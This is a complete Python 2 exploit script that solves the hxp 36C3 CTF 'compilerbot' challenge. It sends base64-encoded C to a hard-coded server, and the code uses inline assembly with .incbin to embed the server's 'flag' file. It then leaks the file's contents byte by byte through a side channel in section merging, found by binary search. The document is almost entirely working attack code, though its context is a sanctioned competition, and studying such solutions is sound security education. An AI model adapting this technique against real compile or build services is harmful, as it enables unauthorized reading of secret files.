Solver for compilerbot challenge from hxp 36C3 CTF (misc/medium/256 pts/30 solves)

compilerbot_solver.py

import socket
from base64 import b64encode, b64decode
from string import printable

def test(code):
	host = '88.198.154.157'
	port = 8011

	s = socket.create_connection((host, port))
	s.sendall(b64encode(code) + '\n')

	resp = ''
	while True:
		d = s.recv(4096)
		if not d:
			break
		resp += d
	return 'Not OK' not in resp

def test_suffix(suffix, tested_size):
	code = r"""
		__asm__(
		".section .text.str1.1,\"aMS\",@progbits,1\n"
		".global a\n"
		"a:\n"
		".incbin \"flag\"\n"
		".byte 0\n"
		".global b\n"
		"b:\n"
		"%s\n"
		".byte 0\n"
		".section .text.asdf\n"
		".global c\n"
		"c:\n"
		".int %d+c\n"
		".section .text\n"
	);
	"""
	code = code % ('\\n'.join(['.byte %d' % ord(x) for x in suffix]), tested_size)
	return test(code)

if __name__ == '__main__':
	# Find size after merge using binsearch
	# Looks for the largest value which returns true. Invariant: result should be in [a, b].
	a = 0x00000000
	b = 0xffffffff
	while a < b:
		print 'progress: %08x - %08x' % (a, b)
		mid = (a + b) / 2
		if test_suffix('}\n', mid):
			a = mid + 1
		else:
			b = mid
	size_after_merge = 2**32 - a
	print 'size after merge: %08x' % size_after_merge

	flag = '\n'
	while not flag.startswith('hxp'):
		for guess in printable:
			if test_suffix(guess + flag, 2**32 - size_after_merge - 1):
				flag = guess + flag
				break
		print 'flag:', flag.strip()